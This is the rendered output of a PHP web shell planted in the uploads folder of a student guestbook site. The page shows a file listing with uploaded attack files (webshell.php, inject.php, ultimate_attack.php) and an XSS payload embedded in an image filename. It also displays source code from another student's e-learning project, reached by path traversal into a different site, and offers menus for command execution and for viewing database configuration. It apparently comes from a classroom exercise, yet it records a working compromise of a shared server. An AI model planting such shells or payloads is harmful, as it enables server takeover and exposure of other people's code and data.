🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584557.klas4s23.mid-ica.nl/public_html/projects/e-learning/explore-lists.php

<?php
session_start();

if (!isset($_SESSION['user_id'])) {
  header("Location: login.php");
  exit();
}

include 'db_conn.php';

$user_id = $_SESSION['user_id'];
$sql = "
  SELECT e_learning_lists.*, 
         e_learning_users.username, 
         s.last_played, 
         s.score, 
         s.total_questions 
  FROM e_learning_lists
  JOIN e_learning_users ON e_learning_lists.user_id = e_learning_users.id
  LEFT JOIN (
    SELECT list_id, 
           MAX(last_played) AS last_played, 
           score, 
           total_questions 
    FROM e_learning_scores 
    WHERE user_id = ? 
    GROUP BY list_id
  ) s ON e_learning_lists.id = s.list_id
  WHERE e_learning_lists.publicity = 'public'
  ORDER BY e_learning_lists.id DESC";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();
$allLists = $result->fetch_all(MYSQLI_ASSOC);

$conn->close();
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta author="Rick Deurloo">
  <meta name="description" content="Website description">
  <meta name="keywords" content="Website keywords">

  <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.7.2/css/all.css">
  <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.7.2/css/sharp-thin.css">
  <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.7.2/css/sharp-solid.css">
  <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.7.2/css/sharp-regular.css">
  <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.7.2/css/sharp-light.css">

  <link rel="stylesheet" href="./styles/dist/css/style.css">
  <link rel="icon" href="./assets/favicon-en.png" data-translate-image="favicon">

  <title data-translate="exploreTitle">English e-learning | Explore</title>
</head>
<body class="explore-page">
  
  <?php include './php-components/header.php'; ?>
  
  <main class="explore-main">
    <div class="explore-header">
      <div class="header-text">
        <h1 data-translate="exploreLists">Explore Lists</h1>
        <p data-translate="subTitleExplore">Discover word lists created by other users</p>
      </div>
      <div class="search">
        <input type="text" id="search-lists" data-translate-placeholder="searchPlaceholder" placeholder="Search lists by title or username">
        <button><i class="fa-solid fa-sharp fa-magnifying-glass"></i></button>
      </div>
    </div>
    
    <div class="lists-container">
      <?php foreach ($allLists as $list): ?>
      <div class="list">
      <a href="list-page.php?id=<?php echo $list['id']; ?>" class="list-thumbnail" 
        style="background: repeating-linear-gradient(45deg, white, white 10px, <?php echo $list['color']; ?> 10px, <?php echo $list['color']; ?> 20px);">
        <div class="last-score">
          <?php if (!empty($list['last_played']) && !empty($list['score']) && !empty($list['total_questions'])): ?>
            <span data-translate="lastPlayed">Last played:</span><br><?php echo date('d-m-Y', strtotime($list['last_played'])); ?> | <?php echo $list['score']; ?>/<?php echo $list['total_questions']; ?>
          <?php else: ?>
            <span data-translate="notPlayed">Not played</span>
          <?php endif; ?>
        </div>
      </a>
        <div class="list-wrapper">
          <div class="list-sub-wrapper">
            <div class="list-title"><?php echo htmlspecialchars($list['list_title']); ?></div>
            <div class="list-creator">
              <i class="fa-solid  fa-user"></i>
              <span><?php echo htmlspecialchars($list['username']); ?></span>
            </div>
          </div>
        </div>
      </div>
      <?php endforeach; ?>
    </div>
  </main>
  
  <script src="./js/general.js"></script>
  <script src="./js/translation.js"></script>
  <script src="./js/search.js"></script>
</body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!